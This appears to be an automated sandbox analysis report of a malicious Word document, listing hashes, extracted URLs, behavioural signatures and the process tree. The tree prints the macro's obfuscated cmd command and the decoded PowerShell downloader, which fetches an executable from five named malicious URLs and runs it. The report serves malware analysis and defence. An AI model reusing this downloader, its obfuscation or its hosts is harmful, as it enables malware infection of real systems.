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Analysis
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max time kernel
127s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
05/05/2024, 10:28
Static task
static1
Behavioral task
behavioral1
Sample
17416f7997c337602bdd1a62be41b54c_JaffaCakes118.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
17416f7997c337602bdd1a62be41b54c_JaffaCakes118.doc
Resource
win10v2004-20240419-en
General
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Target
17416f7997c337602bdd1a62be41b54c_JaffaCakes118.doc
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Size
114KB
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MD5
17416f7997c337602bdd1a62be41b54c
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SHA1
f40cc56fab62e619fcecbda14e7bf6e40cdf104f
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SHA256
3eee95e3aa76b5a69f0af4b8f2be5ca3dc1ad9a5a3801cb52ab6c1c3af2b4bdb
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SHA512
27c946eabac63893bf930c99c74e7d27cbb8e6f3e60d527d66d4b5d08f00a41fedb7e28630740bfa6933bafb87d044fd46a8fe6abc0e28af91d3f9ff457541ce
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SSDEEP
1536:EY9GPST/p0wPIHkwZ8HZOVMDDwUmqD2CufCFr6aEqQmCVnD32+1SWvySdtxN:ZF9RAE+KZycnFImCdvaktxN
Malware Config
Extracted
http://www.deepwebeye.com/bIOkIze
http://www.ensleyortho.com/ES14ezQtPA
http://www.finetsolutions.com/6X5wMUi
http://www.gicals.com/QveilV42wN
http://www.getmyprospects.com/mQOFmMA
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4580 1300 cmd.exe 82 -
Blocklisted process makes network request 5 IoCs
flow pid Process 42 2744 powershell.exe 43 2744 powershell.exe 50 2744 powershell.exe 56 2744 powershell.exe 114 2744 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1300 WINWORD.EXE 1300 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2744 powershell.exe 2744 powershell.exe 2744 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2744 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 1300 WINWORD.EXE 1300 WINWORD.EXE 1300 WINWORD.EXE 1300 WINWORD.EXE 1300 WINWORD.EXE 1300 WINWORD.EXE 1300 WINWORD.EXE -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 1300 wrote to memory of 4580 1300 WINWORD.EXE 87 PID 1300 wrote to memory of 4580 1300 WINWORD.EXE 87 PID 4580 wrote to memory of 4124 4580 cmd.exe 89 PID 4580 wrote to memory of 4124 4580 cmd.exe 89 PID 4124 wrote to memory of 4640 4124 cmd.exe 96 PID 4124 wrote to memory of 4640 4124 cmd.exe 96 PID 4124 wrote to memory of 3480 4124 cmd.exe 97 PID 4124 wrote to memory of 3480 4124 cmd.exe 97 PID 3480 wrote to memory of 1812 3480 cmd.exe 98 PID 3480 wrote to memory of 1812 3480 cmd.exe 98 PID 3480 wrote to memory of 2792 3480 cmd.exe 99 PID 3480 wrote to memory of 2792 3480 cmd.exe 99 PID 2792 wrote to memory of 2744 2792 cmd.exe 100 PID 2792 wrote to memory of 2744 2792 cmd.exe 100
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\17416f7997c337602bdd1a62be41b54c_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1300 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set mQB=;'pibic'=pjjonh$}}{hctac}};kaerb;'shvaw'=tclplmw$;hjqcji$ metI-ekovnI{ )00004 eg- htgnel.)hjqcji$ metI-teG(( fI;'zopiwwz'=diiszp$;)hjqcji$ ,knnkhi$(eliFdaolnwoD.jpjac${yrt{)khuador$ ni knnkhi$(hcaerof;'exe.'+mzhiz$+'\'+pmet:vne$=hjqcji$;'wizpjlv'=zfcizw$;'474' = mzhiz$;'cwzra'=hkalubr$;)'@'(tilpS.'AMmFOQm/moc.stcepsorpymteg.www//:ptth@Nw24VlievQ/moc.slacig.www//:ptth@iUMw5X6/moc.snoitulostenif.www//:ptth@APtQze41SE/moc.ohtroyelsne.www//:ptth@ezIkOIb/moc.eyebewpeed.www//:ptth'=khuador$;tneilCbeW.teN tcejbo-wen=jpjac$;'kuhrjr'=nwiljn$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&&for /L %W in (589,-1,0)do set NAn0=!NAn0!!mQB:~%W,1!&&if %W lss 1 echo !NAn0:~-590!| FOR /F "tokens=2 delims=flO=" %Y IN ('assoc.cmd')DO %Y "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4580 -
C:\Windows\system32\cmd.exeCmD /V/C"set mQB=;'pibic'=pjjonh$}}{hctac}};kaerb;'shvaw'=tclplmw$;hjqcji$ metI-ekovnI{ )00004 eg- htgnel.)hjqcji$ metI-teG(( fI;'zopiwwz'=diiszp$;)hjqcji$ ,knnkhi$(eliFdaolnwoD.jpjac${yrt{)khuador$ ni knnkhi$(hcaerof;'exe.'+mzhiz$+'\'+pmet:vne$=hjqcji$;'wizpjlv'=zfcizw$;'474' = mzhiz$;'cwzra'=hkalubr$;)'@'(tilpS.'AMmFOQm/moc.stcepsorpymteg.www//:ptth@Nw24VlievQ/moc.slacig.www//:ptth@iUMw5X6/moc.snoitulostenif.www//:ptth@APtQze41SE/moc.ohtroyelsne.www//:ptth@ezIkOIb/moc.eyebewpeed.www//:ptth'=khuador$;tneilCbeW.teN tcejbo-wen=jpjac$;'kuhrjr'=nwiljn$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&&for /L %W in (589,-1,0)do set NAn0=!NAn0!!mQB:~%W,1!&&if %W lss 1 echo !NAn0:~-590!| FOR /F "tokens=2 delims=flO=" %Y IN ('assoc.cmd')DO %Y "3⤵
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $njliwn='rjrhuk';$cajpj=new-object Net.WebClient;$rodauhk='http://www.deepwebeye.com/bIOkIze@http://www.ensleyortho.com/ES14ezQtPA@http://www.finetsolutions.com/6X5wMUi@http://www.gicals.com/QveilV42wN@http://www.getmyprospects.com/mQOFmMA'.Split('@');$rbulakh='arzwc';$zihzm = '474';$wzicfz='vljpziw';$ijcqjh=$env:temp+'\'+$zihzm+'.exe';foreach($ihknnk in $rodauhk){try{$cajpj.DownloadFile($ihknnk, $ijcqjh);$pzsiid='zwwipoz';If ((Get-Item $ijcqjh).length -ge 40000) {Invoke-Item $ijcqjh;$wmlplct='wavhs';break;}}catch{}}$hnojjp='cibip';"4⤵PID:4640
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=flO=" %Y IN ('assoc.cmd') DO %Y "4⤵
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c assoc.cmd5⤵PID:1812
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C:\Windows\system32\cmd.execmd5⤵
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $njliwn='rjrhuk';$cajpj=new-object Net.WebClient;$rodauhk='http://www.deepwebeye.com/bIOkIze@http://www.ensleyortho.com/ES14ezQtPA@http://www.finetsolutions.com/6X5wMUi@http://www.gicals.com/QveilV42wN@http://www.getmyprospects.com/mQOFmMA'.Split('@');$rbulakh='arzwc';$zihzm = '474';$wzicfz='vljpziw';$ijcqjh=$env:temp+'\'+$zihzm+'.exe';foreach($ihknnk in $rodauhk){try{$cajpj.DownloadFile($ihknnk, $ijcqjh);$pzsiid='zwwipoz';If ((Get-Item $ijcqjh).length -ge 40000) {Invoke-Item $ijcqjh;$wmlplct='wavhs';break;}}catch{}}$hnojjp='cibip';6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2744
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82